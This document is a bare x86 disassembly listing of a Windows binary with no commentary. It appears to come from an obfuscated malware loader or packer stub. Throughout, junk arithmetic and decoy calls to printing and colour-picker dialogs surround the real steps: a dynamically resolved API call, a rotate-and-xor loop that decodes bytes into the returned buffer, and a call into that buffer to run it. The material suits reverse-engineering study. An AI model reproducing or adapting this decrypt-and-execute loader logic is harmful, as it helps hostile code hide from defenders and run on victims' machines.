movzx ecx, word [ebp - 0x1b0]
shl edx, cl
mov word [ebp - 0x1c], dx
lea eax, [ebp - 0x178]
mov dword [ebp - 0x42c], eax
mov ecx, dword [ebp - 0x300]
mov edx, dword [ebp - 0x510]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x52c], eax
mov ecx, dword [ebp - 0x300]
mov edx, dword [ebp - 0x418]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x428]
mov esi, dword [ebp - 0x154]
mov ecx, dword [eax]
sar esi, cl
cmp edx, esi
jl 0x403699
movzx ecx, byte [ebp - 0x3f1]
movzx edx, byte [ebp - 0x71d]
sub ecx, edx
mov eax, dword [ebp - 0x4fc]
mov byte [eax], cl
movsx ecx, word [ebp - 0x4b0]
movsx edx, word [ebp - 0x384]
and ecx, edx
mov word [ebp - 0x4ac], cx
mov eax, dword [ebp - 0x150]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1c]
sub ecx, edx
mov word [ebp - 0x1b0], cx
mov al, byte [ebp - 0x4f1]
mov byte [ebp - 0x3dd], al
mov ecx, dword [ebp - 0x4dc]
mov edx, dword [ebp - 0x37c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x71c], eax
lea ecx, [ebp - 0x310]
mov dword [0x40ec9c], ecx
mov edx, dword [ebp - 0x2dc]
mov dword [ebp - 0x4c0], edx
movsx eax, word [0x40e008]
mov dword [ebp - 0x738], eax
cmp dword [ebp - 0x738], 0
je 0x4036ee
jmp 0x403792
mov ecx, dword [ebp - 0x178]
add ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x71c], ecx
mov edx, dword [ebp - 0x510]
mov eax, dword [ebp - 0x428]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x3a8], ecx
mov edx, dword [ebp - 0x150]
mov ax, word [edx]
mov word [ebp - 0x2e4], ax
movzx ecx, word [ebp - 0x168]
mov edx, dword [ebp - 0x150]
movzx eax, word [edx]
add ecx, eax
movzx edx, word [ebp - 0x2e4]
movzx eax, word [0x40e00c]
add edx, eax
cmp ecx, edx
je 0x403790
mov ecx, dword [ebp - 0x4fc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x71d]
sub edx, eax
mov byte [ebp - 0x3cd], dl
mov ecx, dword [ebp - 0x708]
mov edx, dword [ecx]
and edx, dword [ebp - 0x158]
mov eax, dword [ebp - 0x510]
mov dword [eax], edx
mov ecx, dword [ebp - 0x508]
mov edx, dword [ebp - 0x178]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x71c], edx
jmp 0x4037ce
mov eax, dword [ebp - 0x52c]
mov ecx, dword [ebp - 0x710]
shl eax, cl
mov dword [ebp - 0x3cc], eax
mov ecx, dword [0x40ec9c]
mov edx, dword [ebp - 0x708]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [0x40ec9c]
mov dword [ecx], eax
movzx edx, word [ebp - 0x41c]
push edx
call fcn.00404900
add esp, 4
mov eax, dword [ebp - 0x42c]
mov ecx, dword [eax]
mov dword [ebp - 0x73c], ecx
cmp dword [ebp - 0x73c], 0
je 0x4037ea
jmp 0x404511
push 0
push 0x20
push 4
push 0
push 8
push 0xc0000000
push str.hxBVZRXOnyOBd4ZNZ98k
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x518], eax
movsx edx, byte [ebp - 0x385]
movsx eax, byte [0x40e001]
and edx, eax
mov byte [ebp - 0x15d], dl
cmp dword [ebp - 0x410], 0xb893
jae 0x4038ee
mov ecx, dword [ebp - 0x42c]
mov edx, dword [ebp - 0x3f0]
add edx, dword [ecx]
mov eax, dword [ebp - 0x37c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x300]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x428]
add edx, dword [eax]
mov dword [ebp - 0x4e0], edx
mov ecx, dword [ebp - 0x150]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x3dc]
sub edx, eax
mov word [ebp - 0x3c0], dx
mov ecx, dword [ebp - 0x4fc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x1a5]
add edx, eax
mov byte [ebp - 0x3cd], dl
mov ecx, dword [ebp - 0x3f0]
sub ecx, dword [ebp - 0x178]
mov dword [0x40ec88], ecx
mov edx, dword [ebp - 0x410]
add edx, 6
mov dword [ebp - 0x410], edx
mov eax, dword [ebp - 0x180]
add eax, dword [ebp - 0x710]
mov dword [ebp - 0x154], eax
mov ecx, dword [ebp - 0x154]
sub ecx, dword [0x40e010]
mov dword [ebp - 0x310], ecx
lea edx, [ebp - 0x2f8]
push edx
mov eax, dword [ebp - 0x518]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [ebp - 0x18], eax
jmp 0x403820
mov dword [ebp - 0x2e8], 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x434], eax
lea ecx, [ebp - 0x3f0]
mov dword [ebp - 0x1c0], ecx
movzx edx, word [ebp - 0x3c0]
mov eax, dword [ebp - 0x150]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x168], dx
mov edx, dword [ebp - 0x2e8]
or edx, 0x40000
mov dword [ebp - 0x2e8], edx
movzx eax, byte [ebp - 0x3cd]
mov ecx, dword [ebp - 0x4fc]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x71d], al
mov edx, dword [ebp - 0x3f0]
mov dword [ebp - 0x740], edx
cmp dword [ebp - 0x740], 7
je 0x40397e
cmp dword [ebp - 0x740], 0x8393
je 0x4039ce
jmp 0x4039e5
lea eax, [ebp - 0x4e0]
mov dword [ebp - 0x4b8], eax
mov ecx, dword [ebp - 0x418]
or ecx, dword [ebp - 0x4b4]
mov dword [ebp - 0x154], ecx
lea edx, [ebp - 0x178]
mov dword [ebp - 0x504], edx
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax]
mov dword [0x40eca0], ecx
mov edx, dword [ebp - 0x428]
mov eax, dword [ebp - 0x4b8]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x710], ecx
jmp 0x4039e5
movsx edx, word [ebp - 0x4bc]
movsx ecx, word [ebp - 0x4b0]
shl edx, cl
mov word [ebp - 0x4ac], dx
mov dword [ebp - 0x3ec], 0xb7528575
movsx eax, byte [0x40e001]
movsx ecx, byte [ebp - 0x37d]
and eax, ecx
mov byte [ebp - 0x385], al
lea edx, [ebp - 0x3dc]
mov dword [ebp - 0x378], edx
mov eax, dword [ebp - 0x418]
imul eax, dword [0x40e010]
mov ecx, dword [ebp - 0x300]
mov edx, dword [ebp - 0x4e0]
sub edx, dword [ecx]
cmp eax, edx
jg 0x403a6c
mov eax, dword [ebp - 0x4fc]
mov cl, byte [eax]
mov byte [ebp - 0x169], cl
mov edx, dword [ebp - 0x508]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x37c]
add eax, dword [ecx]
mov dword [ebp - 0x71c], eax
mov edx, dword [ebp - 0x3a8]
mov dword [ebp - 0x164], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x3fc], eax
mov eax, dword [ebp - 0x3ec]
add eax, 0x48ad8b8a
mov dword [ebp - 0x3ec], eax
lea ecx, [ebp - 0x169]
mov dword [ebp - 0x4d8], ecx
lea edx, [ebp - 0x3dc]
mov dword [0x40ec90], edx
mov eax, dword [ebp - 0x504]
mov ecx, dword [ebp - 0x37c]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x708]
mov edx, dword [ebp - 0x180]
imul edx, dword [ecx]
mov dword [ebp - 0x1ac], edx
mov eax, dword [ebp - 0x428]
mov ecx, dword [eax]
mov dword [ebp - 0x398], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0xb0cc]
mov dword [ebp - 0x30c], eax
mov ecx, dword [ebp - 0x508]
mov edx, dword [0x40ec88]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x42c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x150]
mov dx, word [ecx]
mov word [ebp - 0x28], dx
movzx eax, byte [ebp - 0x1a5]
mov ecx, dword [ebp - 0x4fc]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x169], al
mov dword [ebp - 0x10], 0x40e010
mov eax, dword [ebp - 0x4e4]
push eax
mov ecx, dword [ebp - 0x3ec]
push ecx
mov edx, dword [ebp - 0x2e8]
push edx
call dword [ebp - 0x30c]
mov dword [ebp - 0x704], eax
mov eax, dword [ebp - 0x4d8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x4fc]
movzx eax, byte [edx]
add ecx, eax
movzx edx, byte [ebp - 0x3dd]
movzx eax, byte [ebp - 0x3cd]
add edx, eax
cmp ecx, edx
jg 0x403bd9
mov ecx, dword [ebp - 0x52c]
sub ecx, dword [ebp - 0x1ac]
mov dword [ebp - 0x2dc], ecx
movsx edx, word [0x40e008]
movsx ecx, word [ebp - 0x384]
shl edx, cl
mov word [0x40e014], dx
movsx eax, byte [ebp - 0x401]
movsx ecx, byte [0x40e001]
sar eax, cl
mov byte [ebp - 0x385], al
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x50c], eax
lea ecx, [ebp - 0x3b1]
mov dword [ebp - 0x40c], ecx
mov dx, word [ebp - 0x1b0]
mov word [ebp - 0x4c4], dx
mov eax, dword [ebp - 0x704]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x504]
mov edx, dword [ebp - 0x1c0]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x71c], eax
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x51c], ecx
mov dword [ebp - 0x514], 0x26e3b9b5
movzx edx, word [ebp - 0x4c4]
mov dword [ebp - 0x744], edx
cmp dword [ebp - 0x744], 0
je 0x403c26
jmp 0x403c77
mov eax, dword [ebp - 0x4b8]
mov eax, dword [eax]
cdq
idiv dword [ebp - 0x4b4]
mov dword [ebp - 0x710], eax
mov ecx, dword [0x40ec9c]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x58c]
mov eax, dword [ebp - 0x510]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3a8]
mov dword [ebp - 0x4e8], ecx
movzx edx, byte [ebp - 0x3b1]
mov eax, dword [ebp - 0x40c]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x3dd], dl
jmp 0x403c9e
mov edx, dword [ebp - 0x164]
push edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x708]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x428]
mov edx, dword [ecx]
push edx
call fcn.00404810
add esp, 0x10
mov dword [ebp - 0x1bc], 0x29
movzx eax, word [ebp - 0x3dc]
movzx ecx, word [0x40e00c]
add eax, ecx
mov word [0x40e018], ax
mov edx, dword [ebp - 0x3f0]
mov dword [ebp - 0x70c], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x710]
add ecx, dword [eax]
mov edx, dword [ebp - 0x708]
mov dword [edx], ecx
mov eax, dword [ebp + 8]
add eax, 0x106b8
mov dword [ebp - 0x2ec], eax
mov ecx, dword [ebp - 0x428]
mov edx, dword [ebp - 0x300]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x418], eax
mov ecx, dword [ebp - 0x178]
mov dword [ebp - 0x3b8], ecx
movzx edx, word [ebp - 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x3bc], ax
movzx eax, byte [ebp - 0x4f1]
movzx ecx, byte [ebp - 0x3f1]
add eax, ecx
mov byte [ebp - 0x71d], al
mov dword [ebp - 0x438], 0x40e00c
mov edx, dword [ebp - 0x2ec]
mov dword [ebp - 0x3d8], edx
lea eax, [ebp - 0x41c]
mov dword [ebp - 0x3e8], eax
mov cl, byte [ebp - 0x37d]
mov byte [ebp - 0x4c5], cl
mov dword [ebp - 0x38c], 0x359e59ac
mov edx, dword [ebp - 0x708]
mov eax, dword [edx]
and eax, dword [0x40e010]
mov ecx, dword [ebp - 0x300]
mov edx, dword [ebp - 0x2dc]
sub edx, dword [ecx]
cmp eax, edx
jg 0x403de9
lea eax, [ebp - 0x70c]
mov dword [0x40ec94], eax
mov ecx, dword [0x40e010]
add ecx, dword [ebp - 0x310]
mov dword [ebp - 0x3a8], ecx
mov edx, dword [ebp - 0x4fc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x40c]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x3dd], al
mov edx, dword [ebp - 0x438]
mov ax, word [edx]
mov word [ebp - 0x2c], ax
mov ecx, dword [ebp - 0x300]
mov edx, dword [ebp - 0x510]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x3a8], eax
jmp 0x403dff
mov ecx, dword [ebp - 0x42c]
mov edx, dword [ebp - 0x70c]
or edx, dword [ecx]
mov eax, dword [ebp - 0x1c0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38c]
sub ecx, 0x32e6a953
mov dword [ebp - 0x38c], ecx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x3c4], edx
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x158]
shl edx, cl
mov dword [ebp - 0x58c], edx
mov eax, dword [ebp - 0x438]
mov cx, word [eax]
mov word [ebp - 0x170], cx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x714], eax
lea edx, [ebp - 0x3b1]
mov dword [0x40ec8c], edx
mov eax, dword [ebp - 0x1bc]
cmp eax, dword [ebp - 0x38c]
jae 0x4042b8
mov ecx, dword [ebp - 0x504]
mov edx, dword [ebp - 0x3f0]
and edx, dword [ecx]
mov dword [ebp - 0x70c], edx
mov eax, dword [ebp - 0x180]
add eax, dword [ebp - 0x164]
mov dword [ebp - 0x710], eax
mov ecx, dword [0x40ec9c]
mov edx, dword [ebp - 0x3b0]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x428]
mov dword [eax], edx
mov ecx, dword [ebp - 0x510]
mov edx, dword [ebp - 0x4c0]
add edx, dword [ecx]
mov dword [ebp - 0x3a8], edx
mov eax, dword [ebp - 0x3d8]
mov cl, byte [eax]
mov byte [ebp - 0x305], cl
mov edx, dword [ebp - 0x510]
mov eax, dword [ebp - 0x708]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x4b8]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x401]
movsx ecx, byte [ebp - 0x385]
add eax, ecx
mov byte [ebp - 0x4c5], al
mov edx, dword [ebp - 0x3e8]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x4b0]
and eax, ecx
mov word [ebp - 0x41c], ax
movzx edx, byte [0x40e002]
mov eax, dword [ebp - 0x40c]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x71d], dl
mov edx, dword [ebp - 0x378]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x3c0]
sub eax, ecx
mov edx, dword [0x40ec90]
mov word [edx], ax
mov eax, dword [ebp - 0x508]
mov ecx, dword [0x40ec94]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x178], edx
mov cl, byte [ebp - 0x514]
mov al, byte [ebp - 0x305]
ror al, cl
mov byte [ebp - 0x305], al
mov ecx, dword [ebp - 0x51c]
mov edx, dword [ebp - 0x71c]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x3f0], edx
movzx eax, byte [ebp - 0x3b1]
movzx ecx, byte [ebp - 0x1b5]
or eax, ecx
mov byte [ebp - 0x3f1], al
movzx edx, word [ebp - 0x1b0]
mov eax, dword [ebp - 0x438]
movzx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x3dc], dx
push 0
push 0x10
push 2
push 0
push 1
push 0xc0000000
push str.ZmekH2khgonXEtHkWU
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3c8], eax
mov edx, dword [ebp - 0x4e0]
mov ecx, dword [ebp - 0x3cc]
shl edx, cl
mov eax, dword [ebp - 0x708]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x305]
xor ecx, dword [ebp - 0x514]
mov byte [ebp - 0x305], cl
mov edx, dword [0x40ec94]
mov eax, dword [edx]
and eax, dword [ebp - 0x70c]
mov ecx, dword [ebp - 0x508]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4b8]
mov eax, dword [edx]
add eax, dword [ebp - 0x4e8]
mov dword [ebp - 0x4e0], eax
mov ecx, dword [ebp - 0x4b4]
add ecx, dword [ebp - 0x3e4]
mov dword [ebp - 0x58c], ecx
movzx edx, byte [ebp - 0x169]
movzx eax, byte [ebp - 0x4f1]
sub edx, eax
mov byte [0x40ec82], dl
movzx ecx, word [ebp - 0x28]
mov edx, dword [ebp - 0x378]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x150]
mov word [edx], cx
mov eax, dword [ebp - 0x14]
mov cl, byte [ebp - 0x305]
mov byte [eax], cl
mov edx, dword [ebp - 0x37c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x3b8]
mov dword [ebp - 0x71c], eax
mov ecx, dword [ebp - 0x708]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x2dc], edx
mov eax, dword [ebp - 0x3d8]
add eax, 1
mov dword [ebp - 0x3d8], eax
movzx ecx, byte [ebp - 0x3cd]
mov edx, dword [ebp - 0x4d8]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x4fc]
mov byte [edx], cl
movsx eax, word [ebp - 0x4b0]
mov ecx, dword [ebp - 0x3e8]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0x41c], ax
mov eax, dword [ebp - 0x438]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x2e4]
or ecx, edx
mov word [ebp - 0x3c0], cx
mov eax, dword [ebp - 0x4d8]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x71d]
xor ecx, edx
mov byte [ebp - 0x3cd], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x70c]
mov ecx, dword [ebp - 0x178]
shr edx, cl
mov dword [ebp - 0x71c], edx
mov eax, dword [0x40ec9c]
mov ecx, dword [ebp - 0x708]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [0x40ec9c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x310]
add edx, dword [ecx]
mov dword [ebp - 0x154], edx
mov eax, dword [0x40ec94]
mov ecx, dword [ebp - 0x3f0]
and ecx, dword [eax]
mov edx, dword [ebp - 0x42c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x428]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4b4]
mov dword [ebp - 0x154], ecx
mov edx, dword [ebp - 0x514]
ror edx, 7
mov dword [ebp - 0x514], edx
mov eax, dword [ebp - 0x438]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x378]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x150]
mov word [edx], cx
movzx eax, byte [ebp - 0x3dd]
movzx ecx, byte [ebp - 0x169]
sub eax, ecx
mov byte [ebp - 0x3b1], al
mov edx, dword [ebp - 0x708]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x510]
add eax, dword [ecx]
mov dword [ebp - 0x3a8], eax
mov edx, dword [ebp - 0x4dc]
mov eax, dword [ebp - 0x1c0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x70c], ecx
mov edx, dword [ebp - 0x3a8]
add edx, dword [ebp - 0x2dc]
mov eax, dword [ebp - 0x300]
mov dword [eax], edx
mov ecx, dword [ebp - 0x514]
add ecx, 0xf7af
mov dword [ebp - 0x514], ecx
mov edx, dword [0x40ec9c]
mov eax, dword [ebp - 0x3cc]
sub eax, dword [edx]
mov dword [0x40eca0], eax
movzx ecx, word [ebp - 0x3dc]
movzx edx, word [ebp - 0x2e4]
and ecx, edx
mov word [ebp - 0x4c4], cx
mov eax, dword [ebp - 0x1bc]
add eax, 0x3f3e9
mov dword [ebp - 0x1bc], eax
movzx edx, byte [ebp - 0x1b5]
mov eax, dword [ebp - 0x4fc]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x3b1], dl
movsx edx, word [ebp - 0x4b0]
mov eax, dword [ebp - 0x3e8]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x4bc], dx
movzx ecx, word [ebp - 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x4f0], ax
movsx edx, word [ebp - 0x4b0]
movsx eax, word [ebp - 0x41c]
or edx, eax
mov ecx, dword [ebp - 0x3e8]
mov word [ecx], dx
jmp 0x403e58
mov edx, dword [ebp - 0x51c]
mov eax, dword [ebp - 0x1c0]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x508]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4e0]
sub eax, dword [ebp - 0x2dc]
mov dword [ebp - 0x710], eax
mov ecx, dword [0x40ec90]
mov dx, word [ecx]
mov word [ebp - 0x390], dx
mov eax, dword [ebp - 0x704]
add eax, 0xb0
mov dword [ebp - 0x3a4], eax
mov ecx, dword [ebp - 0x4d8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4fc]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x40c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x178]
mov dword [0x40ec84], ecx
mov edx, dword [ebp - 0x3e4]
mov dword [ebp - 0x3f8], edx
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x52c]
mov dword [ebp - 0x3a8], ecx
mov edx, dword [ebp - 0x51c]
mov eax, dword [edx]
add eax, dword [ebp - 0x3b8]
mov ecx, dword [ebp - 0x1c0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2ec]
add edx, 0xb0
mov dword [ebp - 0x3a0], edx
mov eax, dword [ebp - 0x4fc]
mov cl, byte [eax]
mov byte [ebp - 0x179], cl
movzx edx, word [ebp - 0x390]
mov eax, dword [ebp - 0x438]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x4c4], dx
push str.THr_i_cOK
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x4f0], ax
mov edx, dword [ebp - 0x428]
mov eax, dword [edx]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x3a8]
add edx, dword [ecx]
mov eax, dword [ebp - 0x300]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c0]
mov edx, dword [ebp - 0x71c]
sub edx, dword [ecx]
mov dword [ebp - 0x178], edx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x39c], eax
lea ecx, [ebp - 0x154]
mov dword [0x40ec98], ecx
mov dl, byte [0x40e001]
mov byte [ebp - 0x748], dl
cmp byte [ebp - 0x748], 0xa9
je 0x40440d
jmp 0x4044dc
mov al, byte [ebp - 0x401]
mov byte [ebp - 0x715], al
mov ecx, dword [ebp - 0x3e8]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x4b0]
add edx, eax
mov word [ebp - 0x384], dx
mov ecx, dword [ebp - 0x4d8]
mov dl, byte [ecx]
mov byte [ebp - 0x1a6], dl
lea eax, [ebp - 0x3a4]
push eax
call dword [ebp - 0x704]
movzx ecx, word [ebp - 0x170]
movzx edx, word [ebp - 0x1b0]
sub ecx, edx
mov eax, dword [ebp - 0x150]
mov word [eax], cx
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x408], ecx
mov edx, dword [ebp - 0x150]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x2c]
add eax, ecx
movzx edx, word [ebp - 0x1b0]
mov ecx, dword [ebp - 0x438]
movzx ecx, word [ecx]
or edx, ecx
cmp eax, edx
jl 0x404499
jmp 0x4044ac
lea edx, [ebp - 0x588]
push edx
call dword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [ebp - 0x400], eax
mov eax, dword [ebp - 0x708]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x158]
shl edx, cl
mov dword [ebp - 0x418], edx
mov eax, dword [ebp - 0x4d8]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x1a6]
and ecx, edx
mov byte [ebp - 0x179], cl
jmp 0x4044f0
mov eax, dword [ebp - 0x2dc]
sub eax, dword [0x40eca0]
mov ecx, dword [ebp - 0x300]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4b8]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x4d8]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x3f8]
push eax
call fcn.00404840
jmp 0x40452d
call fcn.004048a0
movsx ecx, word [ebp - 0x4ac]
movsx edx, word [ebp - 0x4b0]
sub ecx, edx
mov word [ebp - 0x4bc], cx
mov eax, dword [ebp - 0x4fc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x3b1]
xor ecx, edx
mov byte [ebp - 0x3f1], cl
movzx eax, word [0x40e004]
mov ecx, dword [ebp - 0x150]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x2e4], ax
mov eax, dword [ebp - 0x508]
mov ecx, dword [ebp - 0x37c]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x178], edx
mov eax, dword [ebp - 0x3f0]
sub eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x508]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x3b1]
sub eax, ecx
mov byte [ebp - 0x1b5], al
mov edx, dword [ebp - 0x150]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1b0]
add eax, ecx
mov word [ebp - 0x168], ax
mov edx, dword [ebp - 0x428]
mov eax, dword [ebp - 0x3cc]
sub eax, dword [edx]
mov dword [ebp - 0x3a8], eax
mov ecx, dword [ebp - 0x37c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x508]
add edx, dword [eax]
mov dword [ebp - 0x71c], edx
lea ecx, [ebp - 0x5e8]
push ecx
call dword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x708]
mov eax, dword [edx]
add eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x510]
mov dword [ecx], eax
mov edx, dword [ebp - 0x510]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x300]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x154]
push eax
mov ecx, dword [ebp - 0x4b4]
push ecx
call fcn.00404810
add esp, 0x10
jmp 0x404678
mov edx, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x3a8]
sar edx, cl
mov dword [ebp - 0x4e0], edx
movzx eax, byte [ebp - 0x4f1]
movzx ecx, byte [ebp - 0x71d]
shl eax, cl
mov byte [ebp - 0x3f1], al
mov ecx, dword [ebp - 0x150]
movzx edx, word [ecx]
movzx eax, word [0x40e004]
xor edx, eax
mov ecx, dword [ebp - 0x150]
mov word [ecx], dx
lea edx, [ebp - 0x1a4]
push edx
call dword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [ebp - 0x4d4], eax
mov eax, dword [ebp - 0x3cc]
or eax, dword [ebp - 0x1ac]
mov ecx, dword [ebp - 0x300]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x1b5]
push edx
call fcn.00401050
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x508]
add ecx, dword [edx]
mov dword [ebp - 0x3f0], ecx
movzx eax, word [ebp - 0x1c]
movzx ecx, word [ebp - 0x3dc]
and eax, ecx
mov word [0x40e00c], ax
movzx edx, byte [ebp - 0x1b5]
movzx eax, byte [0x40ec82]
add edx, eax
mov ecx, dword [ebp - 0x4fc]
mov byte [ecx], dl
movzx edx, byte [ebp - 0x3f1]
push edx
call fcn.00401050
movzx eax, byte [ebp - 0x37d]
push eax
movzx ecx, byte [ebp - 0x385]
push ecx
movzx edx, byte [0x40e001]
push edx
movzx eax, byte [ebp - 0x37d]
push eax
call fcn.004010d0
jmp 0x404732
movsx ecx, byte [ebp - 0x385]
cmp ecx, 0x57
jg 0x404732
call fcn.004048a0
movzx edx, byte [ebp - 0x71d]
movzx eax, byte [ebp - 0x1a5]
add edx, eax
mov byte [ebp - 0x3cd], dl
movsx ecx, byte [ebp - 0x385]
sub ecx, 0x5b
mov byte [ebp - 0x385], cl
lea edx, [ebp - 0x370]
push edx
call dword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0x510]
mov ecx, dword [ebp - 0x154]
add ecx, dword [eax]
mov edx, dword [ebp - 0x708]
mov dword [edx], ecx
mov eax, dword [ebp - 0x708]
mov ecx, dword [eax]
push ecx
movzx edx, byte [0x40ec82]
push edx
mov eax, dword [ebp - 0x3b0]
push eax
call fcn.00404840
jmp 0x4047d1
movsx ecx, byte [ebp - 0x385]
add ecx, 0x6a
mov byte [ebp - 0x385], cl
mov edx, dword [ebp - 0x708]
mov eax, dword [edx]
add eax, dword [ebp - 0x58c]
mov dword [ebp - 0x3b0], eax
